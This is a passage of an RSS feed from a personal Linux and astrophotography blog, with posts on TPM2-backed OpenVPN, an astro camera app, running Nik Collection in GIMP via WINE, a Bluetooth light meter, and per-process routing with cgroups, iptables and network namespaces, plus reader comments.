Mon Jun  1 20:42:22 2020 VERIFY OK: depth=0, CN=server_1
Enter openvpn_token token Password: ****************
Mon Jun  1 20:42:41 2020 Control Channel: TLSv1.3, cipher TLSv1.3 TLS_AES_256_GCM_SHA384, 2048 bit RSA
Mon Jun  1 20:42:41 2020 [server_1] Peer Connection Initiated with [AF_INET][your server IP:port]
...</code></pre>
<p>Note that you will be asked for the PIN. If you start <code>openvpn</code> via some other tool (<code>systemd-networkd</code> or <code>NetworManager</code> for example), the right way to provide the PIN is via the management interface (look for the <code>management-query-passwords</code> option in the <code>openvpn</code>&rsquo;s manual page). This function should be provided by the network utility starting <code>openvpn</code>.</p>
<h3 id="comments">Comments</h3>
<ul>
<li><strong>Torsten on 2022-04-05 19:35:34 +0100</strong><br>
Hello,<br>
thanks for helping a lot with your article. I tried to create an openvpn-request, but it failed getting the private key. I ended up creating my own openssl-conf that includes tpm2-pkcs11, and this worked fine.<br>
Is the parameter “-key” you are using documented somewhere? I may just need different parameters, but have neither found a documentation about it nor could I list these from my tpm system.<br>
Greetings from Braunschweig,<br>
Torsten</li>
</ul>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2020-05-20:2020-05-20T19:39:10Z</guid>

                
                    <link>https://www.evolware.org/2020/05/20/notes-on-using-a-tpm2-module-on-linux/</link>
                

                
                    <pubDate>Wed, 20 May 2020 19:39:10 UTC</pubDate>
                

                
                    <title>Notes on using a TPM2 module on Linux</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>Yaaca is an application to acquire images from <a href="https://astronomy-imaging-camera.com/">ZWO ASICams</a> and apply various astronomical image processing to them. It is available and documented on <a href="https://github.com/chripell/yaaca">yaaca github page</a>. Here are some examples.</p>
<p><a href="http://www.evolware.org/wp-content/uploads/2017/01/m42_0000_gamma.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-475" src="http://www.evolware.org/wp-content/uploads/2017/01/m42_0000_gamma-1024x768.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/m42_0000_gamma-1024x768.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/m42_0000_gamma-300x225.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/m42_0000_gamma-768x576.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/m42_0000_gamma.jpg 1600w" sizes="(max-width: 640px) 100vw, 640px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/california_final_0000_gamma_ok.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-474" src="http://www.evolware.org/wp-content/uploads/2017/01/california_final_0000_gamma_ok-1024x768.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/california_final_0000_gamma_ok-1024x768.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/california_final_0000_gamma_ok-300x225.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/california_final_0000_gamma_ok-768x576.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/california_final_0000_gamma_ok.jpg 1467w" sizes="(max-width: 640px) 100vw, 640px" /></a></p>
<p><a href="http://www.evolware.org/wp-content/uploads/2017/01/auriga_final_0000_gamma_ok.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-473" src="http://www.evolware.org/wp-content/uploads/2017/01/auriga_final_0000_gamma_ok-768x1024.jpg" alt="" width="640" height="853" srcset="https://www.evolware.org/wp-content/uploads/2017/01/auriga_final_0000_gamma_ok-768x1024.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/auriga_final_0000_gamma_ok-225x300.jpg 225w, https://www.evolware.org/wp-content/uploads/2017/01/auriga_final_0000_gamma_ok.jpg 1151w" sizes="(max-width: 640px) 100vw, 640px" /></a></p>
<p><a href="http://www.evolware.org/wp-content/uploads/2017/01/m51.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-490" src="http://www.evolware.org/wp-content/uploads/2017/01/m51.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/m51.jpg 640w, https://www.evolware.org/wp-content/uploads/2017/01/m51-300x225.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/m104.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-488" src="http://www.evolware.org/wp-content/uploads/2017/01/m104.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/m104.jpg 640w, https://www.evolware.org/wp-content/uploads/2017/01/m104-300x225.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/giove_20130309_final2.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-487" src="http://www.evolware.org/wp-content/uploads/2017/01/giove_20130309_final2.jpg" alt="" width="384" height="384" srcset="https://www.evolware.org/wp-content/uploads/2017/01/giove_20130309_final2.jpg 384w, https://www.evolware.org/wp-content/uploads/2017/01/giove_20130309_final2-150x150.jpg 150w, https://www.evolware.org/wp-content/uploads/2017/01/giove_20130309_final2-300x300.jpg 300w" sizes="(max-width: 384px) 100vw, 384px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/NGC4565_1.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-486" src="http://www.evolware.org/wp-content/uploads/2017/01/NGC4565_1.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/NGC4565_1.jpg 640w, https://www.evolware.org/wp-content/uploads/2017/01/NGC4565_1-300x225.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/mars20140418.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-485" src="http://www.evolware.org/wp-content/uploads/2017/01/mars20140418.jpg" alt="" width="400" height="400" srcset="https://www.evolware.org/wp-content/uploads/2017/01/mars20140418.jpg 400w, https://www.evolware.org/wp-content/uploads/2017/01/mars20140418-150x150.jpg 150w, https://www.evolware.org/wp-content/uploads/2017/01/mars20140418-300x300.jpg 300w" sizes="(max-width: 400px) 100vw, 400px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/saturn_2000_crop_g4_b3_ap10_ok.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-484" src="http://www.evolware.org/wp-content/uploads/2017/01/saturn_2000_crop_g4_b3_ap10_ok.jpg" alt="" width="400" height="296" srcset="https://www.evolware.org/wp-content/uploads/2017/01/saturn_2000_crop_g4_b3_ap10_ok.jpg 400w, https://www.evolware.org/wp-content/uploads/2017/01/saturn_2000_crop_g4_b3_ap10_ok-300x222.jpg 300w" sizes="(max-width: 400px) 100vw, 400px" /></a></p>
<div id="attachment_483" style="width: 650px" class="wp-caption aligncenter">
  <a href="http://www.evolware.org/wp-content/uploads/2017/01/M57.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-483" class="size-large wp-image-483" src="http://www.evolware.org/wp-content/uploads/2017/01/M57-1024x768.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/M57-1024x768.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/M57-300x225.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/M57-768x576.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/M57.jpg 1280w" sizes="(max-width: 640px) 100vw, 640px" /></a>
  <p id="caption-attachment-483" class="wp-caption-text">
    <a href="http://www.evolware.org/wp-content/uploads/2017/01/m27nouhc.jpg"><img loading="lazy" decoding="async" class="size-large wp-image-482" src="http://www.evolware.org/wp-content/uploads/2017/01/m27nouhc-1024x768.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/m27nouhc-1024x768.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/m27nouhc-300x225.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/m27nouhc-768x576.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/m27nouhc.jpg 1280w" sizes="(max-width: 640px) 100vw, 640px" /></a>
  </p>
</div>
<p><a href="http://www.evolware.org/wp-content/uploads/2017/01/moon_100.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-481" src="http://www.evolware.org/wp-content/uploads/2017/01/moon_100-1024x775.jpg" alt="" width="640" height="484" srcset="https://www.evolware.org/wp-content/uploads/2017/01/moon_100-1024x775.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/moon_100-300x227.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/moon_100-768x581.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/moon_100.jpg 1184w" sizes="(max-width: 640px) 100vw, 640px" /></a></p>
<p><a href="http://www.evolware.org/wp-content/uploads/2017/01/m20.jpg"><img loading="lazy" decoding="async" class="size-large wp-image-480" src="http://www.evolware.org/wp-content/uploads/2017/01/m20-1024x768.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/m20-1024x768.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/m20-300x225.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/m20-768x576.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/m20.jpg 1280w" sizes="(max-width: 640px) 100vw, 640px" /></a></p>
<p><a href="http://www.evolware.org/wp-content/uploads/2017/01/fire1.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-479" src="http://www.evolware.org/wp-content/uploads/2017/01/fire1-1024x768.jpg" alt="" width="640" height="480" srcset="https://www.evolware.org/wp-content/uploads/2017/01/fire1-1024x768.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/fire1-300x225.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/fire1-768x576.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/fire1.jpg 1280w" sizes="(max-width: 640px) 100vw, 640px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/M64a.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-478" src="http://www.evolware.org/wp-content/uploads/2017/01/M64a.jpg" alt="" width="480" height="640" srcset="https://www.evolware.org/wp-content/uploads/2017/01/M64a.jpg 480w, https://www.evolware.org/wp-content/uploads/2017/01/M64a-225x300.jpg 225w" sizes="(max-width: 480px) 100vw, 480px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/jupiter_20160317.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-477" src="http://www.evolware.org/wp-content/uploads/2017/01/jupiter_20160317-1024x512.jpg" alt="" width="640" height="320" srcset="https://www.evolware.org/wp-content/uploads/2017/01/jupiter_20160317.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/jupiter_20160317-300x150.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/jupiter_20160317-768x384.jpg 768w" sizes="(max-width: 640px) 100vw, 640px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2017/01/M33_0000_gamma_1.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-476" src="http://www.evolware.org/wp-content/uploads/2017/01/M33_0000_gamma_1-1024x775.jpg" alt="" width="640" height="484" srcset="https://www.evolware.org/wp-content/uploads/2017/01/M33_0000_gamma_1-1024x775.jpg 1024w, https://www.evolware.org/wp-content/uploads/2017/01/M33_0000_gamma_1-300x227.jpg 300w, https://www.evolware.org/wp-content/uploads/2017/01/M33_0000_gamma_1-768x581.jpg 768w, https://www.evolware.org/wp-content/uploads/2017/01/M33_0000_gamma_1.jpg 1744w" sizes="(max-width: 640px) 100vw, 640px" /></a></p>
<p> </p>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2017-01-08:2017-01-08T10:44:20Z</guid>

                
                    <link>https://www.evolware.org/2017/01/08/yaaca-yet-another-astrocam-application/</link>
                

                
                    <pubDate>Sun, 08 Jan 2017 10:44:20 UTC</pubDate>
                

                
                    <title>YAACA, Yet Another AstroCam Application</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>Ideally we should have Free Software that serves our needs, but sometimes we must settle for a temporary solution. <a href="https://www.google.com/nikcollection/" target="_blank">Google Nik Collection</a> is now free as in free beer, some of its filters are just amazing and it is pretty straightforward to use. It is not difficult to make it work as a GIMP plugin on Linux, even if it is for Windows, thanks to WINE.</p>
<ol>
<li>Install WINE of course. I use Arch Linux, which comes with <a href="https://wiki.archlinux.org/index.php/wine" target="_blank">extensive instructions</a>. It really just boils down to <strong>pacman -S wine</strong> after you have enabled <a href="https://wiki.archlinux.org/index.php/Multilib" target="_blank">Multilib</a>. An important trick is using Win32 mode which usually works better (I&rsquo;m running other software, like <em>AutoStakkert</em>, <em>Registax</em>, <em>WinJUPOS</em> and <em>Deep Sky Stacker</em> without troubles in WINE with Win32). The link above goes into the details, basically you have set-up some environment variables before starting the Windows executable (I keep the Windows file system in a directory win32 under my home one):<br>
<strong>export WINEPREFIX=$HOME/win32</strong><br>
<strong>export WINEARCH=win32</strong><br>
Also I use <strong>winecfg</strong> to select a Windows 7 personality. Also note at least WINE 1.8 is needed, 1.6 won&rsquo;t work (thanks to <em>Victor Lavaud</em> who reported this and my wrong usage of auto-quotes).</li>
<li>Download the .exe installer and run it under wine, with the current version: <strong>wine nikcollection-full-1.2.11.exe</strong>. Be aware that there&rsquo;s a bug (some API not entirely implemented or being confused by the spaces in filenames maybe) that will pop-up a window about the impossibility of writing a file (in the resource directory for each filter). The fix is easy, just create that directory and press the <strong>retry button</strong>. If you followed my convention about directories, the following commands will do the trick:<br>
<code>&lt;br /&gt; mkdir -p &quot;$HOME/win32/drive_c/users/Public/Application Data/Google/Analog Efex Pro 2/resource&quot;&lt;br /&gt; mkdir -p &quot;$HOME/win32/drive_c/users/Public/Application Data/Google/Color Efex Pro 4/resource&quot;&lt;br /&gt; mkdir -p &quot;$HOME/win32/drive_c/users/Public/Application Data/Google/Dfine 2/resource&quot;&lt;br /&gt; mkdir -p &quot;$HOME/win32/drive_c/users/Public/Application Data/Google/HDR Efex Pro 2/resource&quot;&lt;br /&gt; mkdir -p &quot;$HOME/win32/drive_c/users/Public/Application Data/Google/Sharpener Pro 3/resource&quot;&lt;br /&gt; mkdir -p &quot;$HOME/win32/drive_c/users/Public/Application Data/Google/Silver Efex Pro 2/resource&quot;&lt;br /&gt; mkdir -p &quot;$HOME/win32/drive_c/users/Public/Application Data/Google/Viveza 2/resource&quot;</code><br>
or replace <strong>win32</strong> with your wine directory (the default is <strong>.wine</strong> which I find a bit confusing being normally hidden).</li>
<li>You should be able to to use the plug-ins standalone. This makes a lot of sense, for example, for the HDR one: you should feed it the RAW pictures with adequately different exposure times. In this case just run: <code>wine &quot;$HOME/win32/drive_c/Program Files/Google/Nik Collection/HDR Efex Pro 2/HDR Efex Pro 2.exe&quot;</code>. On a just partially related note: I&rsquo;m not sure NEF Nikon RAW files can be opened directly (I tried to install the <a href="https://www.microsoft.com/en-za/download/details.aspx?id=26829" target="_blank">Microsoft Camera Codec Pack</a> in WINE but no luck) but you can always create a <a href="http://www.cambridgeincolour.com/forums/thread47002.htm" target="_blank">linear 16bpp TIFF from the RAW file using dcraw</a>.<br>
Anyway it is much simple to just use the filters as plugin for GIMP, so I customized the <a href="http://registry.gimp.org/node/24977" target="_blank">ShellOut GIMP plugin</a>. Grab the modified version of <a href="https://github.com/chripell/mytools/blob/master/gimp/NikToolsShellOut/ShellOut.py" target="_blank">ShellOut.py</a> and put it into <strong>~/.gimp-2.8/plug-ins</strong>. A new menu entry ShellOut&hellip; should appear under the Script-Fu menu. When you activate it you should be given the choice of running any of the available plug-ins on the current layer or a copy of it. You should consider 2 customizations to ShellOut.py:</p>
<ul>
<li>The already mentioned top-level WINE directory that might be different than <strong>win32</strong>.</li>
<li>The file you use for the exchange. I use tif because, in the newest, right now still experimental, GIMP 2.9.2 it supports floating point pixel depth (for this version of GIMP the plug-in directory moved to <strong>~/.config/GIMP/2.9/plug-ins</strong>). There are 2 caveats: it is a bit slower and you get some annoying error messages about some TIFF flags not being supported. To mitigate the later problem, you can <a href="http://askubuntu.com/questions/355922/how-to-switch-off-gimp-message-on-rawtherapee-export" target="_blank">dock an error console</a>, so the messages won&rsquo;t be impacting. But, if you don&rsquo;t care about high pixel depth just use png instead of tif: it is pretty faster.</li>
</ul>
</li>
</ol>
<p>That&rsquo;s it, enjoy the new photographic tools. Please enable sending feedback information so Google will see there are many Linux users and will consider a native installation and maybe an Open Source release &hellip; who knows?</p>
<p><strong>Update:</strong> If you experience problems on Ubuntu, you might check out <a href="https://github.com/ericoporto/NikInGimp">the very interesting Erico&rsquo;s page</a>.</p>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2016-04-03:2016-04-03T19:24:50Z</guid>

                
                    <link>https://www.evolware.org/2016/04/03/using-google-nik-collection-with-gimp-under-linux-and-wine/</link>
                

                
                    <pubDate>Sun, 03 Apr 2016 19:24:50 UTC</pubDate>
                

                
                    <title>Using Google Nik Collection with GIMP under Linux and WINE.</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>Blue Light Meter is a remote light meter for photography that can be used, via Bluetooth LE, from an Android/Linux phone. Maybe some day in the future a lightmeter GATT profile could be developed and camera may use it. Miniaturized BTLE enabled light meters could be easily carried around or concealed in clothes while shooting.</p>
<p>You can find the <a href="https://github.com/chripell/BlueLightMeter" target="_blank">source code and the hardware description on github</a>.</p>
<p><a href="http://www.evolware.org/wp-content/uploads/2016/02/blm2.jpg" rel="attachment wp-att-431"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-431" src="http://www.evolware.org/wp-content/uploads/2016/02/blm2.jpg" alt="BlueLightMeter prototype" width="600" height="542" srcset="https://www.evolware.org/wp-content/uploads/2016/02/blm2.jpg 600w, https://www.evolware.org/wp-content/uploads/2016/02/blm2-300x271.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a> <a href="http://www.evolware.org/wp-content/uploads/2016/02/blm1.jpg" rel="attachment wp-att-432"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-432" src="http://www.evolware.org/wp-content/uploads/2016/02/blm1.jpg" alt="BlueLightMeter prototype" width="600" height="500" srcset="https://www.evolware.org/wp-content/uploads/2016/02/blm1.jpg 600w, https://www.evolware.org/wp-content/uploads/2016/02/blm1-300x250.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p> </p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2016-02-13:2016-02-13T16:24:18Z</guid>

                
                    <link>https://www.evolware.org/2016/02/13/blue-light-meter/</link>
                

                
                    <pubDate>Sat, 13 Feb 2016 16:24:18 UTC</pubDate>
                

                
                    <title>Blue Light Meter</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>In a <a href="http://www.evolware.org/?p=293">previous article</a> we saw how it&rsquo;s possible to do per process routing using namespaces. In this one we will achieve the same by using <em>cgroups</em>, <em>iptables</em> and <em>policy routing</em>. Perhaps the user case is a bit marginal (see the introduction in the mentioned article) but this article is a tribute to the extreme flexibility of cgroups.</p>
<p>You will need a Linux kernel &gt;= 3.14 and a modern iptables. The former is easy to obtain (at least on Debian via back-ported kernels or directly on Jessie), the later is a bit more difficult. Anyway I prepared a <a href="http://evolware.org//dnload/iptables-20140806.tar.gz">compiled binary</a>, just point the <strong>IPT</strong> variable to it once unpacked in the root directory:</p>
<pre>IPT=/mnt/scratch/iptables/sbin/iptables</pre>
<p>You have to correctly mount the cgroup file-system, the easiest way on Jessie is by installing the package <strong>cgroupfs-mount</strong>.</p>
<p>The method will be based on the 3 technologies mentioned in the title:</p>
<ul>
<li>the <em>cgroups net_cls</em> controller will be used to set the <em>classid</em> of the packet originated from the process.</li>
<li><em>iptables</em> will be used to mark the packet. This is possible thanks to the patch by <em>Daniel Borkmann</em>, see <a href="http://thread.gmane.org/gmane.comp.security.firewalls.netfilter.devel/49298">this thread</a> for more information. If the entire patch had been accepted,  we would have used the new proposed controller. But the proliferation of cgroup controllers being a bad thing and the unclear semantics of <em>fwmark</em> (because it would be modifiable both by cgroups and iptables) had as a consequence that only the netfilter part of the patch got in the v3.14 kernel.</li>
<li><em>policy routing</em> to define a new routing table wit a different default route that is triggered wit the <em>fwmark</em>.</li>
</ul>
<p>In my opinion this method has 2 advantage over the one presented in the previous articles:</p>
<ul>
<li>it&rsquo;s much easier to change the default route for processes (even already running) because it&rsquo;s easier to move a process into or out of a control group.</li>
<li>you don&rsquo;t need the bridging thing.</li>
</ul>
<p>The clear disadvantage is that it&rsquo;s built on newer technologies not available out of the box on older distributions, like Debian Wheezy for example.</p>
<p>Now let&rsquo;s see how it works. First define a control group for the net_cls controller:</p>
<pre>mkdir /sys/fs/cgroup/net_cls/new_route
cd /sys/fs/cgroup/net_cls/new_route
echo 0x00110011 &gt; net_cls.classid</pre>
<p>packet generated by processes in this control group will be annotated with the given 0x00110011 (11:11) classid. Next use iptables to fwmark packets:</p>
<pre>$IPT -t mangle -A OUTPUT -m cgroup --cgroup 0x00110011 -j MARK --set-mark 11</pre>
<p>note that it&rsquo;s very important to put the rule in this specific table and chain to trigger rerouting. Check out <a href="http://commons.wikimedia.org/wiki/File:Netfilter-packet-flow.svg">this picture on wikipedia</a>, it&rsquo;s worth more that thousand words in describing the journey of a packet in the Linux network stack. Finally we have to declare an additional routing table for policy routing:</p>
<pre>echo 11 new_route &gt;&gt; /etc/iproute2/rt_tables # just once!
ip rule add fwmark 11 table new_route
ip route add default via 10.0.10.58 table new_route</pre>
<p>here 10.0.10.58 is the default gateway for the processes in the new_route control group. Now it&rsquo;s really easy to change the default route for a process, just add it to the control group. It&rsquo;s quite entraintaining to have a ping running and see how RTT changes based on the default gateway. You can find the PID for ping in the usual ways (ps is your best friend), let&rsquo;s say it&rsquo;s 2345:</p>
<pre>cd /sys/fs/cgroup/net_cls/new_route
echo 2345 &gt; tasks</pre>
<p>and you can take it out from the control group easily:</p>
<pre>echo 2345 &gt; ../tasks</pre>
<p>Keep in mind that when a process in a net_cls control group forks, its child will be in the same one. But if you move the parent, the child will stay there. Normal cgroups semantics applies.</p>
<p>This example gives just another application of the powerful cgroups concept. Others are of course possible, like per-process dynamic firewall rules or traffic control disciplines.</p>
<h3 id="comments">Comments</h3>
<ul>
<li><strong>Dan on 2014-09-09 06:04:26 +0100</strong></li>
</ul>
<blockquote>
<p>On Debian Jessie I receive this error:</p>
<p># $IPT -t mangle -A OUTPUT -m cgroup –cgroup 0x00110011 -j MARK –set-mark 11<br>
iptables v1.4.21: Couldn’t load match `cgroup’:No such file or directory</p>
<p>Try `iptables -h’ or ‘iptables –help’ for more information.</p>
<p># dpkg –list | grep cgroup<br>
ii cgroupfs-mount 1.0 all Light-weight package to set up cgroupfs mounts</p>
</blockquote>
<ul>
<li><strong>Christian Pellegrin on 2014-09-16 13:11:04 +0100</strong></li>
</ul>
<blockquote>
<p>It looks like the iptables you are using has not cgroup support compiled in. Just try:</p>
<pre>/mnt/scratch/iptables/sbin/iptables -m cgroup --help
</pre>
<p>to check it.</p>
</blockquote>
<ul>
<li><strong>Kris on 2016-02-28 22:55:27 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,</p>
<p>Regarding “Couldn’t load match `cgroup’:No such file or directory”, compilign latests iptables (using this procedure: <a href="http://www.linuxfromscratch.org/blfs/view/cvs/postlfs/iptables.html" rel="nofollow ugc"><a href="http://www.linuxfromscratch.org/blfs/view/cvs/postlfs/iptables.html">http://www.linuxfromscratch.org/blfs/view/cvs/postlfs/iptables.html</a></a> ) and running this this solved it:<br>
cgroupfs-mount<br>
sudo “$IPT” (yes, run as root)</p>
<p>But I’m facing some issues.<br>
Particularly with VPN, I can’t bypass my VPN inteface tun0 with this technique.<br>
Even with “ip route add … src ” the VPN tunnel is sort of bypassed (packets are send in clear) but they are sent with the tun0 source IP, never with eth0 source IP! So I never get my ping reply.</p>
<p>Not using cgroups and adding static routes to the default table DOES work, but whenever using cgroups with the custom new_route table, everything that goes out from this table uses the VPN tun0 source IP… any clue?</p>
</blockquote>
<ul>
<li><strong>John on 2016-08-03 22:22:54 +0100</strong></li>
</ul>
<blockquote>
<p>Hi there,</p>
<p>Thanks for taking the time to write this post. It helped me get to my ultimate goal of creating a script for my Debian 8 system to run an app/process under a different networking regime from the rest of the system.</p>
<p>My search led me to this post and also to this superuser page:<br>
<a href="http://superuser.com/questions/271915/route-the-traffic-over-specific-interface-for-a-process-in-linux" rel="nofollow ugc"><a href="http://superuser.com/questions/271915/route-the-traffic-over-specific-interface-for-a-process-in-linux">http://superuser.com/questions/271915/route-the-traffic-over-specific-interface-for-a-process-in-linux</a></a></p>
<p>…and KrisWebDev’s very good bash script to automate the process.</p>
<p>Kris’ script had a use case that didn’t quite fit my needs, so I modified his script quite extensively to make it more generic. I posted a gist of it here in case you find it useful.</p>
<p><a href="https://gist.github.com/level323/54a921216f0baaa163127d960bfebbf0" rel="nofollow ugc"><a href="https://gist.github.com/level323/54a921216f0baaa163127d960bfebbf0">https://gist.github.com/level323/54a921216f0baaa163127d960bfebbf0</a></a></p>
<p>Cheers</p>
</blockquote>
<ul>
<li><strong>Fred Scott on 2017-11-18 07:37:19 +0100</strong></li>
</ul>
<blockquote>
<p>Great article.<br>
Works great when the processes are running on a physical linux host.</p>
<p>However, if I have a docker container with 2 processes and want to do per process routing on packets from each process, it seems the classID flags are not set correctly when the packet hits the mangle table. More details on this and a kernel patch to fix this are at <a href="https://github.com/moby/moby/issues/19802" rel="nofollow ugc"><a href="https://github.com/moby/moby/issues/19802">https://github.com/moby/moby/issues/19802</a></a> and <a href="https://lists.linuxfoundation.org/pipermail/containers/2014-January/033848.html" rel="nofollow ugc"><a href="https://lists.linuxfoundation.org/pipermail/containers/2014-January/033848.html">https://lists.linuxfoundation.org/pipermail/containers/2014-January/033848.html</a></a> respectively.</p>
<p>Has anyone successfully managed to do per process routing on two different processes in a docker container ?</p>
</blockquote>
<ul>
<li><strong>Alexander Martin on 2019-05-13 23:15:56 +0100</strong></li>
</ul>
<blockquote>
<p>Hey thanks for the script!</p>
<p>It is working, however there appears to be an issue with ipv6. When I visit wtfismyip.com, the ipv4 address is correct, but somehow the ipv6 address of the other network card is being leaked.</p>
<p>My janky solution was to just turn off ipv6, but ideally I would prefer to not do this.</p>
<p>I tried to remedy this by mimicking your script with ip6tables, but unfortunately it seems like ipv6 has a different setup. Would be happy to compensate you for a fix. Hopefully this get to you, if so reach out at alexandermartin006 at that google service everyone uses.</p>
</blockquote>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2014-08-06:2014-08-06T14:44:17Z</guid>

                
                    <link>https://www.evolware.org/2014/08/06/per-process-routing-take-2-using-cgroups-iptables-and-policy-routing/</link>
                

                
                    <pubDate>Wed, 06 Aug 2014 14:44:17 UTC</pubDate>
                

                
                    <title>Per process routing take 2: using cgroups, iptables and policy routing</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>The use case for this article may seem a bit strange in year 2013 but I swear it&rsquo;s real. I have a (relatively) fast connection but I have a traffic cap on it and a (really) slow one which is flat. I would like to run not interactive task like &ldquo;aptitude safe-upgrade&rdquo; on the slow one but the bulk of my connections should go through the fast one. The work is done on a Debian Wheezy system, check that the &ldquo;ip&rdquo; command is not too old and lacks network namespace support.</p>
<p>Linux namespaces are a cool feature that permit process groups to have a limited view of system resource. See the superb <a href="http://lwn.net/Articles/531114/">LWN article</a> for more information. In this article we will use network namespaces which permits different process groups to have a different view of the networking system. Processes in a network namespace cannot see the physical network adapter but only a virtual one. We can create 2 of them as the endpoints of a pipe to make the processes in a network namespace speak with the outer net. For this we will use the simplest approach, a bridge. Other, more complicate, setups like NAT are of course possible.</p>
<p>First of all lets define some convenience variables:</p>
<pre>BASE_IP=10.0.10.253
FAST_GW=10.0.10.58
NETMASK=255.255.255.0
SLOW_IP=10.0.10.149
SLOW_GW=10.0.10.57</pre>
<p>These define the physical IP address of my machine, the fast connection gateway, the netmask of my setup, the IP that will be seen by processes in the network container and the gatway for the slow network.</p>
<p>Next we have to create the network namespace. Its name is <em>slow</em> for obvious reasons:</p>
<pre>ip netns add slow</pre>
<p>and the virtual ethernets that act as the endpoints for the pipe from it to the &ldquo;real world&rdquo;:</p>
<pre>ip link add veth0 type veth peer name veth1
ifconfig veth0 0.0.0.0 up
ip link set veth1 netns slow</pre>
<p>we have to unconfigure the physical network card because it will be part of the bridge:</p>
<pre>ifdown eth0
ifconfig eth0 0.0.0.0 up</pre>
<p>and then we bridge it to one endpoint of the pipe to the network namespace:</p>
<pre>brctl addbr br0
brctl addif br0 eth0 veth0</pre>
<p>we reassign the base ip to the bridge interface so we can continue working as before for processes <em>not</em> in network namespace:</p>
<pre>ifconfig br0 $BASE_IP netmask $NETMASK up
route add default gw $FAST_GW</pre>
<p>the configuration of the host is finished, now we have to turn our attention to what happens in the network namespace. To execute a process there we have to use the command <strong>ip netns exec [namespace] [command]</strong>. Here we setup the IP address of the interface in the namespace and define the default route pointing to the slow gateway:</p>
<pre>ip netns exec slow ifconfig veth1 $SLOW_IP netmask $NETMASK up
ip netns exec slow route add default gw $SLOW_GW</pre>
<p>and voilà, we can now run our favorite long-running network command in the newly created namespace:</p>
